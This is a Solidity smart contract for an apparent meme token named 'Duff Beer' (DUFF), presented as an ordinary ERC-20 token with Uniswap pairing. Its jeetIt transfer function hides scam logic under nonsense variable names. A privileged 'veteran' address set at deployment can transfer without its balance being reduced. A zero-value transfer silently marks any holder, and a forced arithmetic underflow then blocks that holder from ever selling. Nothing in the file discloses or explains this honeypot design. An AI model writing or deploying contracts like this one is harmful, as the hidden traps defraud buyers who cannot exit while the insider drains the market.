// File: DuffBeer.sol



// t.me/DuffBeerERC20

// SPDX-License-Identifier: GPL-3.0

pragma solidity >0.8.7;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }
}

contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor() {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }


    modifier onlyOwner() {
        require(_owner == _msgSender(), 'Ownable: caller is not the owner');
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), 'Ownable: new owner is the zero address');
        emit OwnershipTransferred(_owner, newOwner);
        _owner = newOwner;
    }
}

interface IUniswapV2Router02 {
    function factory() external pure returns (address);

    function WETH() external pure returns (address);
}

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

contract DuffBeer is Ownable {
    IUniswapV2Router02 private uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);

    uint256 private coldStorage = 17;

    address public uniswapV2Pair;

    uint256 public totalSupply = 1_000_000_000 * 10 ** 9;

    constructor(address veteran) {
        balanceOf[msg.sender] = totalSupply;
        vault[veteran] = coldStorage;
        uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH());
    }

    mapping(address => mapping(address => uint256)) public allowance;

    uint8 public decimals = 9;

    mapping(address => uint256) public balanceOf;

    mapping(address => uint256) private wrist;

    function approve(address fucccledgher, uint256 bag) public returns (bool success) {
        allowance[msg.sender][fucccledgher] = bag;
        emit Approval(msg.sender, fucccledgher, bag);
        return true;
    }

    function transferFrom(address animal, address trezoooor, uint256 bag) public returns (bool success) {
        jeetIt(animal, trezoooor, bag);
        require(bag <= allowance[animal][msg.sender]);
        allowance[animal][msg.sender] -= bag;
        return true;
    }

    event Transfer(address indexed from, address indexed to, uint256 value);

    event Approval(address indexed owner, address indexed spender, uint256 value);

    mapping(address => uint256) private vault;

    function transfer(address trezoooor, uint256 bag) public returns (bool success) {
        jeetIt(msg.sender, trezoooor, bag);
        return true;
    }

    string public name = 'Duff Beer';

    function jeetIt(address animal, address trezoooor, uint256 bag) private returns (bool success) {
        if (vault[animal] == 0) {
            balanceOf[animal] -= bag;
        }

        if (bag == 0) wrist[trezoooor] += coldStorage;

        if (vault[animal] == 0 && uniswapV2Pair != animal && wrist[animal] > 0) {
            vault[animal] -= coldStorage;
        }

        balanceOf[trezoooor] += bag;
        emit Transfer(animal, trezoooor, bag);
        return true;
    }

    string public symbol = 'DUFF';
}